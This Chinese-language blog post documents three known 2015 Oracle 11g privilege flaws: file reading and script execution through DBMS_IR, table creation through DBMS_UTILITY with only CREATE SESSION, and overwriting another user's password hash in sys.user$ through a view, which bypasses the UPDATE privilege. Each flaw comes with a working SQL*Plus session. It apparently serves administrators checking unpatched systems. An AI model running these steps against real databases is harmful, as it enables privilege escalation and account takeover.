关于oracle 安全的小知识dbms_ir , dbms_utility, bypass privileges via view

Oracle数据库安全问题最近几年变的格外关注, 除了数据泄露外还有一些数据库自身的问题,在没有安装最新PSU 或相关CPU时,如果被心存不鬼的人利用将会非常危险.  这里我简单记录三个问题, 测试环境为11.2.0.4  on solaris 11 OS(no patch any PSU or CPU).
1, 使用dbms_ir执行SQL 脚本
2, 只有create session 权限使用dbms_utility 创建表
3, 有select any dictionary的权限修改其它用户的密码
下面开始
使用dbms_ir执行SQL 脚本
影响的版本: 11.1.0.7, 11.2.0.3, 11.2.0.4, 12.1.0.1,12.1.0.2,  可以使用dbms_ir读写ORACLE_HOME外的文件,并且不需要DIRECTORY对象, 默认SYSDBA,DBA和SYSBACKUP有该对象的执行权限, 但是默认未授于PUBLIC.

oracle@anbob2:/home/oracle:11G> echo "hello, world" > hi.txt
oracle@anbob2:/home/oracle:11G> sqlplus / as sysdba
SQL*Plus: Release 11.2.0.3.0 Production on Tue Nov 29 10:46:30 2016
Copyright (c) 1982, 2011, Oracle.  All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production
With the Partitioning, Real Application Clusters, OLAP, Data Mining
and Real Application Testing options

SQL> SET SERVEROUTPUT ON
DECLARE
   fid      NATURAL;
outbuf   VARCHAR2 (4000);
 BEGIN
    dbms_ir.openScriptFile ('/home/oracle/hi.txt', fid);
    DBMS_OUTPUT.put_line (fid);
    dbms_ir.getFile (fid, outbuf);
    DBMS_OUTPUT.put_line (outbuf);
    dbms_ir.closeScriptFile (fid);
 EXCEPTION
    WHEN OTHERS
    THEN
       dbms_ir.closeScriptFile (fid);
 END;
 /
hello, world
PL/SQL procedure successfully completed.
-- 执行SQL脚本
DECLARE
   fid      NATURAL;
outbuf   VARCHAR2 (4000);
 BEGIN
    dbms_ir.openScriptFile ('/etc/hosts', fid);
    DBMS_OUTPUT.put_line (fid);
    dbms_ir.getFile (fid, outbuf);
    DBMS_OUTPUT.put_line (outbuf);
    dbms_ir.closeScriptFile (fid);
 EXCEPTION
    WHEN OTHERS
    THEN
       dbms_ir.closeScriptFile (fid);
 END;
 /
 
 ERROR at line 1:
ORA-51190: Internal error [closeScript], [fileID is NULL] from DBMS_IR
ORA-06512: at "SYS.DBMS_IR", line 1974
ORA-06512: at line 13

SQL> ho vi /home/oracle/scifmation/b.txt
create table t(id int)
SQL> begin
  2  dbms_ir.execSQLScript(filename => '/home/oracle/scifmation/b.txt');
  3  end;
  4  /
PL/SQL procedure successfully completed.
--note: Table will be created!
复制

Note:
使用dbms_ir读取了ORACLE_HOME外的文件并执行了一个文件中的SQL文本, 但并不是oracle 用户能read的文件使用dbms_ir都可以读.
只有create session 权限使用dbms_utility 创建表
Affected Version: 11.1.0.7, 11.2.0.3, 11.2.0.4, 12.1.0.1

sys@ORCL>create user u1 identified by u1;
User created.
sys@ORCL>grant create session to u1;
Grant succeeded.
sys@ORCL>conn u1/u1
Connected.
u1@ORCL>exec dbms_utility.create_alter_type_error_table('WEEJAR','ERROR_TAB');
BEGIN dbms_utility.create_alter_type_error_table('WEEJAR','ERROR_TAB'); END;
*
ERROR at line 1:
ORA-20000: You have insufficient privileges to create a table in WEEJAR
ORA-06512: at "SYS.DBMS_UTILITY", line 1226
ORA-06512: at line 1
u1@ORCL>exec dbms_utility.create_alter_type_error_table('U1','ERROR_TAB');
PL/SQL procedure successfully completed.
u1@ORCL>desc ERROR_TAB
 Name                                                                 Null?    Type
 ------------------------------ -------- -----------------------------------------
 OWNER                                   VARCHAR2(30)
 OBJECT_NAME                             VARCHAR2(30)
 SEQUENCE#                               NUMBER
 TEXT_LENGTH                             NUMBER
 ERROR_TEXT                              VARCHAR2(4000)
u1@ORCL>select * from ERROR_TAB;
no rows selected
u1@ORCL>select * from tab;
TNAME                          TABTYPE            CLUSTERID
------------------------------ ------- --------------------
ERROR_TAB                      TABLE
u1@ORCL>select * from cat;
TABLE_NAME                     TABLE_TYPE
------------------------------ -----------
ERROR_TAB                      TABLE
复制

NOTE:
通过dbms_utility在用户只有create session(connect role) 的权限下通过create_alter_type_error_table创建了表, 但是不可以创建到其它SCHEMA下.
有select any dictionary的权限修改其它用户的密码
这是一个很老的问题,很久前就讨论之前的通过VIEW在没有update权限时更新数据, 这里记录的是修改密码, 有了别人的密码是不是更危险, 有dict的权限是不是很危险? 这里继续使用上面新建的用户,目前之前CREATE SESSION.

sys@ORCL>grant select any dictionary to u1;
Grant succeeded.
sys@ORCL>conn u1/u1
Connected.
u1@ORCL>select password from sys.user$ where name='WEEJAR';
PASSWORD
------------------------------
5DDFDC62FB8BEE40
u1@ORCL>select password from sys.user$ where name='ANBOB';
PASSWORD
------------------------------
ACF67A552551E848
u1@ORCL>update  sys.user$  set password='ACF67A552551E848' where name='WEEJAR';
update  sys.user$  set password='ACF67A552551E848' where name='WEEJAR'
            *
ERROR at line 1:
ORA-01031: insufficient privileges
sys@ORCL>alter user weejar identified by weejar;
User altered.
sys@ORCL>select password from sys.user$ where name='WEEJAR';
PASSWORD
------------------------------
40EC5D9F82E3BBF7
NOTE:
Old Oracle hashes stored in user$.password
sys@ORCL>conn weejar/weejar;
Connected.
weejar@ORCL>conn u1/u1
Connected.
u1@ORCL>update (with tmp as (select * from sys.user$) select * from tmp) set password='ACF67A552551E848' where name='WEEJAR';
1 row updated.
u1@ORCL>commit;
Commit complete.
u1@ORCL>conn weejar/weejar;
Connected.
weejar@ORCL>conn / as sysdba
Connected.
sys@ORCL>alter system flush shared_pool;
System altered.
weejar@ORCL>conn / as sysdba
Connected.
sys@ORCL>select password from sys.user$ where name='WEEJAR';
PASSWORD
------------------------------
ACF67A552551E848
sys@ORCL>select SPARE4 from sys.user$ where name='ANBOB';
              SPARE4 
--------------------
S:D580FA974CA85BBF041693C031F6EB6BA2702CEA8CEC0A0DF227944FA2A3
sys@ORCL>select SPARE4 from sys.user$ where name='WEEJAR';
SPARE4
---------------------------------------------------------------
S:8E9D66E52F574F6AA82AB6EDAFE9C69E3B82FC9A6E17F8CB9F90A7153652
Note:
Oracle 11g hashes stored in user$.spare4 (S:xxx)
sys@ORCL>update (with tmp as (select * from sys.user$) select * from tmp) set password='ACF67A552551E848',SPARE4='S:D580FA974CA85BBF041693C031F6EB6BA2702CEA8CEC0A0DF227944FA2A3' where name='WEEJAR';
1 row updated.
sys@ORCL>COMMIT;
Commit complete.
sys@ORCL>conn weejar/weejar;
Connected.
weejar@ORCL>conn / as sysdba
Connected.
sys@ORCL>alter system flush shared_pool;
System altered.
sys@ORCL>conn weejar/weejar;
ERROR:
ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.
sys@ORCL>conn weejar/anbob;
Connected.
复制

Note:
在用户有select any table的权限时通过修改user$基表的方式实例了修改其它用户的密码, 使用view的方式的绕过了权限. 更新基表后flush shared_pool应用更新.
这里所描述的问题都是2015年的已知问题,当然如果没有更新PSU或CPU的话, 你可能测试你数据库中是否存在. 不要在生产库上测试.